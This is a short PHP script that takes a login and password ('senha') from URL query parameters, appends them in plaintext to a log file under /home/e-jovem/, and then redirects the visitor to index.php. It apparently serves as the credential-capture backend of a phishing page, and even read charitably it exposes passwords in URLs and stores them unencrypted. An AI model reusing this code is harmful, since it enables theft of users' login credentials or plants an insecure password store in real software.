<?php
$login = $_GET['login'];
$senha = $_GET['senha'];

$path = "/home/e-jovem/";
$name = "log.txt";
$mode = "a+";

$file = @fopen($path . $name, $mode);

if ($file) {
    fwrite($file, $login);
    fwrite($file, "|");
    fwrite($file, $senha);
    header("location:index.php");
} else {
    header("location:cadastra_usuario.php");
}
?>
